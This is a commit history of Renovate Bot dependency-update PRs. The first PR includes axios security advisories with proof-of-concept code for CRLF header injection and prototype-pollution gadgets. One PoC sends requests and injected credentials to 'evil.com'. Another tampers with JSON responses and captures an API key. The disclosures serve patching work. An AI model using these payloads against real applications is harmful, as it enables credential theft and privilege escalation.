Steps to reproduce: 1. npm install axios 2. Save the above as poc_axios_crlf.js 3. Run node poc_axios_crlf.js 4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body **Expected behavior**: value.type should be sanitized to strip \r\n before interpolation, consistent with the string value path. **Actual behavior**: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts. ##### Impact Any Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways. Consequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers. axios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue. ##### Suggested fix In formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \r\n) or use the same escapeName logic. ``` const safeType = (value.type || 'application/octet-stream') .replace(/[\r\n]/g, ''); headers += `Content-Type: ${safeType}${CRLF}`; ``` #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-445q-vr5w-6q77](https://github.com/axios/axios/security/advisories/GHSA-445q-vr5w-6q77) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42037](https://nvd.nist.gov/vuln/detail/CVE-2026-42037) - [https://github.com/axios/axios](https://github.com/axios/axios) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-445q-vr5w-6q77) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking [CVE-2026-42264](https://nvd.nist.gov/vuln/detail/CVE-2026-42264) / [GHSA-q8qp-cvcw-x6jj](https://github.com/advisories/GHSA-q8qp-cvcw-x6jj) <details> <summary>More information</summary> #### Details ##### Summary Five config properties in the HTTP adapter are read via direct property access without `hasOwnProperty` guards, making them exploitable as prototype pollution gadgets. When `Object.prototype` is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request. ##### Affected Properties 1. **`config.auth`** (`lib/adapters/http.js` line 617) Injects attacker-controlled `Authorization` header on all requests. 2. **`config.baseURL`** (`lib/helpers/resolveConfig.js` line 18) Redirects all requests using relative URLs to an attacker-controlled server. 3. **`config.socketPath`** (`lib/adapters/http.js` line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon). 4. **`config.beforeRedirect`** (`lib/adapters/http.js` line 698) Executes attacker-supplied callback during HTTP redirects. 5. **`config.insecureHTTPParser`** (`lib/adapters/http.js` line 712) Enables Node.js insecure HTTP parser on all requests. ##### Proof of Concept ```javascript const axios = require('axios'); // Prototype pollution from a vulnerable dependency in the same process Object.prototype.auth = { username: 'attacker', password: 'exfil' }; Object.prototype.baseURL = 'https://evil.com'; await axios.get('/api/users'); // Request is sent to: https://evil.com/api/users // With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw= // Attacker receives both the request and injected credentials ``` ##### Impact - **Credential injection:** Every axios request includes an attacker-controlled `Authorization` header, leaking request contents to any server that logs auth headers. - **Request hijacking:** All requests using relative URLs are silently redirected to an attacker-controlled server. - **SSRF:** Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments. - **Code execution:** Attacker-supplied functions execute during HTTP redirects. - **Parser weakening:** Insecure HTTP parser enabled on all requests, enabling request smuggling. ##### Root Cause `mergeConfig()` iterates `Object.keys({...config1, ...config2})`, which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (`config.auth`, `config.socketPath`, etc.), which traverses the prototype chain and picks up polluted values. The `own()` helper at `lib/adapters/http.js` line 336 exists and guards 8 other properties (`data`, `lookup`, `family`, `httpVersion`, `http2Options`, `responseType`, `responseEncoding`, `transport`) from this exact attack. The 5 properties listed above are not included in this protection. ##### Suggested Fix Apply the existing `own()` helper to all affected properties: ```javascript const configAuth = own('auth'); if (configAuth) { const username = configAuth.username || ''; const password = configAuth.password || ''; auth = username + ':' + password; } ``` Same pattern for `socketPath`, `beforeRedirect`, `insecureHTTPParser`, and a `hasOwnProperty` check for `baseURL` in `resolveConfig.js`. #### Severity - CVSS Score: 7.4 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) - [https://github.com/axios/axios](https://github.com/axios/axios) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-q8qp-cvcw-x6jj) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver` [CVE-2026-42044](https://nvd.nist.gov/vuln/detail/CVE-2026-42044) / [GHSA-3w6x-2g7m-8v23](https://github.com/advisories/GHSA-3w6x-2g7m-8v23) <details> <summary>More information</summary> #### Details ##### Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver` ##### Summary The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any `Object.prototype` pollution in the application's dependency tree to be escalated into **surgical, invisible modification of all JSON API responses** — including privilege escalation, balance manipulation, and authorization bypass. The default `transformResponse` function at `lib/defaults/index.js:124` calls `JSON.parse(data, this.parseReviver)`, where `this` is the merged config object. Because `parseReviver` is **not present in Axios defaults, not validated by `assertOptions`, and not subject to any constraints**, a polluted `Object.prototype.parseReviver` function is called for **every key-value pair** in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact. This is **strictly more powerful** than the `transformResponse` gadget because: 1. **No constraints** — the reviver can return any value (no "must return true" requirement) 2. **Selective modification** — individual JSON keys can be changed while others remain untouched 3. **Invisible** — the response structure and most values look completely normal 4. **Simultaneous exfiltration** — the reviver sees the original values before modification **Severity:** Critical (CVSS 9.1) **Affected Versions:** All versions (v0.x - v1.x including v1.15.0) **Vulnerable Component:** `lib/defaults/index.js:124` (JSON.parse with prototype-inherited reviver) ##### CWE - **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - **CWE-915:** Improperly Controlled Modification of Dynamically-Determined Object Attributes ##### CVSS 3.1 **Score: 9.1 (Critical)** Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Within the application process | | Confidentiality | **High** | The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, `apiKey: "sk-secret-internal-key"` is captured | | Integrity | **High** | Arbitrary, selective modification of any JSON value. No constraints. In the PoC, `isAdmin: false → true`, `role: "viewer" → "admin"`, `balance: 100 → 999999`. The response looks completely normal except for the surgically altered values | | Availability | None | No crash, no error — the attack is entirely silent | ##### Comparison with All Known Axios PP Gadgets | Factor | GHSA-fvcv-3m26-pcqx (Header Injection) | transformResponse | proxy (MITM) | **parseReviver (This)** | |---|---|---|---|---| | PP target | `Object.prototype['header']` | `Object.prototype.transformResponse` | `Object.prototype.proxy` | `Object.prototype.parseReviver` | | Fixed by 1.15.0? | Yes | No | No | **No** | | Constraints | N/A (fixed) | **Must return `true`** | None | **None** | | Data modification | Header injection only | Response replaced with `true` | Full MITM | **Selective per-key modification** | | Stealth | Request anomaly visible | Response becomes `true` (obvious) | Proxy visible in network | **Completely invisible** | | Data access | Headers only | `this.auth` + raw response | All traffic | **Every JSON key-value pair** | | Validated? | N/A | `assertOptions` validates | Not validated | **Not validated** | | In defaults? | N/A | Yes → goes through mergeConfig | No → bypasses mergeConfig | **No → bypasses mergeConfig** | ##### Usage of "Helper" Vulnerabilities This vulnerability requires **Zero Direct User Input**. If an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), the polluted `parseReviver` function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed. ##### Root Cause Analysis ##### The Attack Path ``` Object.prototype.parseReviver = function(key, value) { /* malicious */ } │ ▼ mergeConfig(defaults, userConfig) │ │ parseReviver NOT in defaults → NOT iterated by mergeConfig │ parseReviver NOT in userConfig → NOT iterated by mergeConfig │ Merged config has NO own parseReviver property │ ▼ transformData.call(config, config.transformResponse, response) │ │ Default transformResponse function runs (NOT overridden) │ ▼ defaults/index.js:124: JSON.parse(data, this.parseReviver) │ │ this = config (merged config object, plain {}) │ config.parseReviver → NOT own property → traverses prototype chain │ → finds Object.prototype.parseReviver → attacker's function! │ ▼ JSON.parse calls reviver for EVERY key-value pair │ │ Attacker can: read original value, modify it, return anything │ No validation, no constraints, no assertOptions check │ ▼ Application receives surgically modified JSON response ``` ##### Why `parseReviver` Bypasses ALL Existing Protections 1. **Not in defaults** (`lib/defaults/index.js`): `parseReviver` is not defined in the defaults object, so `mergeConfig`'s `Object.keys({...defaults, ...userConfig})` iteration never encounters it. The merged config has no own `parseReviver` property. 2. **Not in assertOptions schema** (`lib/core/Axios.js:135-142`): The schema only contains `{baseUrl, withXsrfToken}`. `parseReviver` is not validated. 3. **No type check**: The `JSON.parse` API accepts any function as a reviver. There is no check that `this.parseReviver` is intentionally set. 4. **Works INSIDE the default transform**: Unlike `transformResponse` pollution (which replaces the entire transform and is caught by `assertOptions`), `parseReviver` pollution injects into the DEFAULT `transformResponse` function's `JSON.parse` call. The default function itself is not replaced, so `assertOptions` has nothing to catch. ##### Vulnerable Code **File:** `lib/defaults/index.js`, line 124 ```javascript transformResponse: [ function transformResponse(data) { // ... transitional checks ... if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) { // ... try { return JSON.parse(data, this.parseReviver); // ^^^^^^^^^^^^^^^^^ // this = config // config.parseReviver → prototype chain → attacker's function } catch (e) { // ... } } return data; }, ], ``` ##### Proof of Concept ```javascript import http from 'http'; import axios from './index.js'; // Server returns a realistic authorization response const server = http.createServer((req, res) => { res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ user: 'john', role: 'viewer', isAdmin: false, canDelete: false, balance: 100, permissions: ['read'], apiKey: 'sk-secret-internal-key', })); }); await new Promise(r => server.listen(0, r)); const port = server.address().port; // === Before Pollution === const before = await axios.get(`http://127.0.0.1:${port}/api/me`); console.log('Before:', JSON.stringify(before.data)); // {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...} // === Simulate Prototype Pollution === let stolen = {}; Object.prototype.parseReviver = function(key, value) { // Silently capture all original values if (key && typeof value !== 'object') stolen[key] = value; // Surgically modify specific values if (key === 'isAdmin') return true; // false → true if (key === 'role') return 'admin'; // viewer → admin if (key === 'canDelete') return true; // false → true if (key === 'balance') return 999999; // 100 → 999999 return value; // everything else unchanged }; // === After Pollution — same code, same URL === const after = await axios.get(`http://127.0.0.1:${port}/api/me`); console.log('After: ', JSON.stringify(after.data)); // {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...} console.log('Stolen:', JSON.stringify(stolen)); // {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"} delete Object.prototype.parseReviver; server.close(); ``` ##### Verified PoC Output ``` [1] Normal request (before pollution): response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false, "balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"} isAdmin: false role: viewer [2] Prototype Pollution: Object.prototype.parseReviver Polluted with selective value modifier [3] Same request (after pollution): response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true, "balance":999999,"permissions":["read","write","delete","admin"], "apiKey":"sk-secret-internal-key"} isAdmin: true (was: false) role: admin (was: viewer) canDelete: true (was: false) balance: 999999 (was: 100) [4] Exfiltrated data (stolen silently): apiKey: sk-secret-internal-key All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false, "balance":100,"apiKey":"sk-secret-internal-key"} [5] Why this bypasses all checks: parseReviver in defaults? NO parseReviver in assertOptions schema? NO parseReviver validated anywhere? NO Must return true? NO — can return ANY value Replaces entire transform? NO — works INSIDE default JSON.parse ``` ##### Impact Analysis ##### 1. Authorization / Privilege Escalation ```javascript // Server returns: {"role":"viewer","isAdmin":false} // Application sees: {"role":"admin","isAdmin":true} // → Application grants admin access to unprivileged user ``` ##### 2. Financial Manipulation ```javascript // Server returns: {"balance":100,"approved":false} // Application sees: {"balance":999999,"approved":true} // → Application approves a transaction that should be rejected ``` ##### 3. Security Control Bypass ```javascript // Server returns: {"mfaRequired":true,"accountLocked":true} // Application sees: {"mfaRequired":false,"accountLocked":false} // → Application skips MFA and unlocks a locked account ``` ##### 4. Silent Data Exfiltration The reviver function receives the **original** value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally. ##### 5. Universal and Invisible - Affects **every** Axios request that receives a JSON response - The response structure is intact — only specific values are changed - No errors, no crashes, no suspicious behavior - Application logs show normal-looking API responses with tampered values ##### Recommended Fix ##### Fix 1: Use `hasOwnProperty` check before using `parseReviver` ```javascript // FIXED: lib/defaults/index.js const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined; return JSON.parse(data, reviver); ``` ##### Fix 2: Use null-prototype config object ```javascript // In lib/core/mergeConfig.js const config = Object.create(null); ``` ##### Fix 3: Validate `parseReviver` type and source ```javascript // FIXED: lib/defaults/index.js const reviver = (typeof this.parseReviver === 'function' && Object.prototype.hasOwnProperty.call(this, 'parseReviver')) ? this.parseReviver : undefined; return JSON.parse(data, reviver); ``` ##### Relationship to Other Reported Gadgets This vulnerability shares the same **root cause class** — unsafe prototype chain traversal on the merged config object — with two other reported gadgets: | Report | PP Target | Code Location | Fix Location | Impact | |---|---|---|---|---| | axios_26 | `transformResponse` | `mergeConfig.js:49` (defaultToConfig2) | `mergeConfig.js` | Credential theft, response replaced with `true` | | axios_30 | `proxy` | `http.js:670` (direct property access) | `http.js` | Full MITM, traffic interception | | **axios_31 (this)** | `parseReviver` | `defaults/index.js:124` (this.parseReviver) | `defaults/index.js` | **Selective JSON value tampering + data exfiltration** | ##### Why These Are Distinct Vulnerabilities 1. **Different polluted properties:** Each targets a different `Object.prototype` key. 2. **Different code paths:** `transformResponse` enters via `mergeConfig`; `proxy` is read directly by `http.js`; `parseReviver` is read inside the default `transformResponse` function's `JSON.parse` call. 3. **Different fix locations:** Fixing `mergeConfig.js` (axios_26) does NOT fix `defaults/index.js:124` (this vulnerability). Fixing `http.js:670` (axios_30) does NOT fix this either. Each requires a separate patch. 4. **Different impact profiles:** `transformResponse` is constrained to return `true`; `proxy` requires a proxy server; `parseReviver` enables constraint-free selective value modification. ##### Comprehensive Fix While each vulnerability requires a location-specific patch, the comprehensive fix is to use **null-prototype objects** (`Object.create(null)`) for the merged config in `mergeConfig.js`, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this. ##### Resources - [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html) - [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html) - [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx) - [MDN: JSON.parse reviver](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse#the_reviver_parameter) - [Axios GitHub Repository](https://github.com/axios/axios) ##### Timeline | Date | Event | |---|---| | 2026-04-16 | Vulnerability discovered during source code audit | | 2026-04-16 | PoC developed and verified — selective response tampering confirmed | | TBD | Report submitted to vendor via GitHub Security Advisory | #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23](https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42044](https://nvd.nist.gov/vuln/detail/CVE-2026-42044) - [https://github.com/axios/axios](https://github.com/axios/axios) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-3w6x-2g7m-8v23) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>axios/axios (axios)</summary> ### [`v1.15.2`](https://github.com/axios/axios/blob/HEAD/CHANGELOG.md#v1152---April-21-2026) [Compare Source](https://github.com/axios/axios/compare/v1.15.1...v1.15.2) This release delivers prototype-pollution hardening for the Node HTTP adapter, adds an opt-in `allowedSocketPaths` allowlist to mitigate SSRF via Unix domain sockets, fixes a keep-alive socket memory leak, and ships supply-chain hardening across CI and security docs. ### [`v1.15.1`](https://github.com/axios/axios/blob/HEAD/CHANGELOG.md#v1151---April-19-2026) [Compare Source](https://github.com/axios/axios/compare/v1.15.0...v1.15.1) This release ships a coordinated set of security hardening fixes across headers, body/redirect limits, multipart handling, and XSRF/prototype-pollution vectors, alongside a broad sweep of bug fixes, test migrations, and threat-model documentation updates. </details> --- ### Configuration 📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIiwic2VjdXJpdHkiXX0=--> Reviewed-on: #32 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
7fc2abf0fc |
chore(deps): update dependency jsonc-eslint-parser to v3 (#31)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [jsonc-eslint-parser](https://github.com/ota-meshi/jsonc-eslint-parser) | devDependencies | major | [`^2.1.0` -> `^3.0.0`](https://renovatebot.com/diffs/npm/jsonc-eslint-parser/2.4.2/3.1.0) | --- ### Release Notes <details> <summary>ota-meshi/jsonc-eslint-parser (jsonc-eslint-parser)</summary> ### [`v3.1.0`](https://github.com/ota-meshi/jsonc-eslint-parser/blob/HEAD/CHANGELOG.md#310) [Compare Source](https://github.com/ota-meshi/jsonc-eslint-parser/compare/v3.0.0...v3.1.0) ##### Minor Changes - [#​275](https://github.com/ota-meshi/jsonc-eslint-parser/pull/275) [`38d5905`](https://github.com/ota-meshi/jsonc-eslint-parser/commit/38d5905ede808f7cc5ff2530552cebd0fadc6c5e) Thanks [@​ota-meshi](https://github.com/ota-meshi)! - feat: add `tokenize()` ### [`v3.0.0`](https://github.com/ota-meshi/jsonc-eslint-parser/blob/HEAD/CHANGELOG.md#300) [Compare Source](https://github.com/ota-meshi/jsonc-eslint-parser/compare/v2.4.2...v3.0.0) ##### Major Changes - [#​266](https://github.com/ota-meshi/jsonc-eslint-parser/pull/266) [`6d1679d`](https://github.com/ota-meshi/jsonc-eslint-parser/commit/6d1679d4d9dfac8f28b1cc0519a2aee50671efaa) Thanks [@​copilot-swe-agent](https://github.com/apps/copilot-swe-agent)! - Drop support for Node.js versions older than 20.19.0. The new minimum supported versions are: ^20.19.0 || ^22.13.0 || >=24 - [#​268](https://github.com/ota-meshi/jsonc-eslint-parser/pull/268) [`e1c554a`](https://github.com/ota-meshi/jsonc-eslint-parser/commit/e1c554a1e16d09585fc2fb3d00c9739d330c3e3d) Thanks [@​copilot-swe-agent](https://github.com/apps/copilot-swe-agent)! - Change to ESM-only package. This is a breaking change that requires Node.js environments that support ESM. </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #31 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
afc9474bed |
chore(deps): update dependency @types/node to v24 (#29)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | devDependencies | major | [`20.19.39` -> `24.12.2`](https://renovatebot.com/diffs/npm/@types%2fnode/20.19.39/24.12.2) | --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #29 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
c86804effa |
fix(deps): update dependency reflect-metadata to ^0.2.0 (#25)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [reflect-metadata](http://rbuckton.github.io/reflect-metadata) ([source](https://github.com/rbuckton/reflect-metadata)) | dependencies | minor | [`^0.1.13` -> `^0.2.0`](https://renovatebot.com/diffs/npm/reflect-metadata/0.1.14/0.2.2) | --- ### Release Notes <details> <summary>rbuckton/reflect-metadata (reflect-metadata)</summary> ### [`v0.2.2`](https://github.com/rbuckton/reflect-metadata/compare/v0.2.1...ca9650a46e3dfa32d0b384936eed539bd9109b12) [Compare Source](https://github.com/rbuckton/reflect-metadata/compare/v0.2.1...ca9650a46e3dfa32d0b384936eed539bd9109b12) ### [`v0.2.1`](https://github.com/microsoft/reflect-metadata/releases/tag/v0.2.1) [Compare Source](https://github.com/rbuckton/reflect-metadata/compare/v0.2.0...v0.2.1) #### What's Changed - Fix stack overflow crash in isProviderFor by [@​rbuckton](https://github.com/rbuckton) in https://github.com/rbuckton/reflect-metadata/pull/155 - Update main to v0.2.1 by [@​rbuckton](https://github.com/rbuckton) in https://github.com/rbuckton/reflect-metadata/pull/156 **Full Changelog**: https://github.com/rbuckton/reflect-metadata/compare/v0.2.0...v0.2.1 ### [`v0.2.0`](https://github.com/microsoft/reflect-metadata/releases/tag/v0.2.0): reflect-metadata 0.2.0 [Compare Source](https://github.com/rbuckton/reflect-metadata/compare/v0.1.14...v0.2.0) #### What's Changed - Add /lite and /no-conflict exports by [@​rbuckton](https://github.com/rbuckton) in https://github.com/rbuckton/reflect-metadata/pull/144 - No dynamic evaluation in `/lite` mode by [@​rbuckton](https://github.com/rbuckton) in https://github.com/rbuckton/reflect-metadata/pull/149 **Full Changelog**: https://github.com/rbuckton/reflect-metadata/compare/v0.1.14...v0.2.0 </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #25 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
4f6765c5c1 |
chore(deps): update dependency @oxc-project/runtime to ^0.129.0 (#22)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [@oxc-project/runtime](https://oxc.rs) ([source](https://github.com/oxc-project/oxc/tree/HEAD/npm/runtime)) | devDependencies | minor | [`^0.115.0` -> `^0.129.0`](https://renovatebot.com/diffs/npm/@oxc-project%2fruntime/0.115.0/0.129.0) | --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #22 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
214970a63e |
chore(deps): update analog monorepo to ~2.5.0 (#21)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [@analogjs/vite-plugin-angular](https://github.com/analogjs/analog) | devDependencies | minor | [`~2.1.2` -> `~2.5.0`](https://renovatebot.com/diffs/npm/@analogjs%2fvite-plugin-angular/2.1.3/2.5.0) | | [@analogjs/vitest-angular](https://analogjs.org) ([source](https://github.com/analogjs/analog)) | devDependencies | minor | [`~2.1.2` -> `~2.5.0`](https://renovatebot.com/diffs/npm/@analogjs%2fvitest-angular/2.1.3/2.5.0) | --- ### Release Notes <details> <summary>analogjs/analog (@​analogjs/vite-plugin-angular)</summary> ### [`v2.5.0`](https://github.com/analogjs/analog/blob/HEAD/CHANGELOG.md#250-2026-04-28) [Compare Source](https://github.com/analogjs/analog/compare/v2.4.10...v2.5.0) ##### Bug Fixes - add angular-compiler to publish script ([5c86802](https://github.com/analogjs/analog/commit/5c86802ab4e3858414de47f84039181c846c7012)) - **angular-compiler:** add type-only import elision to angular compiler ([#​2249](https://github.com/analogjs/analog/issues/2249)) ([f66f042](https://github.com/analogjs/analog/commit/f66f0424afd815b91abbf01528c66eeb3c846dc0)) - **angular-compiler:** auto-import decorator classes for signal api downleveling in jit ([d8a6265](https://github.com/analogjs/analog/commit/d8a62650878e537eac70bdf1285962cf09d6e044)) - **angular-compiler:** construct setClassMetadata entries as plain objects ([546f427](https://github.com/analogjs/analog/commit/546f427e5495232987d497d5ebfe08cad20f6d51)) - **angular-compiler:** correct signal aliases, query refs, inheritance ([d57bc61](https://github.com/analogjs/analog/commit/d57bc61f1736ad66e1b5fabf479e058f63f58484)) - **angular-compiler:** dedupe declarations across imports and module exports ([919009a](https://github.com/analogjs/analog/commit/919009a744c62c1abffdcd7dc9f063d80900c05d)) - **angular-compiler:** default contentChild() descendants to true ([4849312](https://github.com/analogjs/analog/commit/4849312e327aa9363a6f024269981d2de93f284a)) - **angular-compiler:** defensive BinaryOperator map for Angular v19/v20 ([1a91f93](https://github.com/analogjs/analog/commit/1a91f932cc353efff9caf907bd48ceecc4480635)) - **angular-compiler:** defensive isAssignment check for Angular 20.0.0 ([8583dd1](https://github.com/analogjs/analog/commit/8583dd1ee3d5a61850975d45b677f423fb772895)) - **angular-compiler:** emit /*@​**PURE***/ on Ivy field assignments ([c0d4f69](https://github.com/analogjs/analog/commit/c0d4f696110becded1b90c77dd0d5b84f46ac2de)) - **angular-compiler:** emit bracket access for non-identifier field keys ([956c703](https://github.com/analogjs/analog/commit/956c703af97b1628b93f93fdd688910178a4dd5d)) - **angular-compiler:** emit defer deps as import().then(m => m.X) ([56d9fd5](https://github.com/analogjs/analog/commit/56d9fd580c25a77cde285876babffc6564a12543)) - **angular-compiler:** emit invalidfactory for explicit import type di tokens 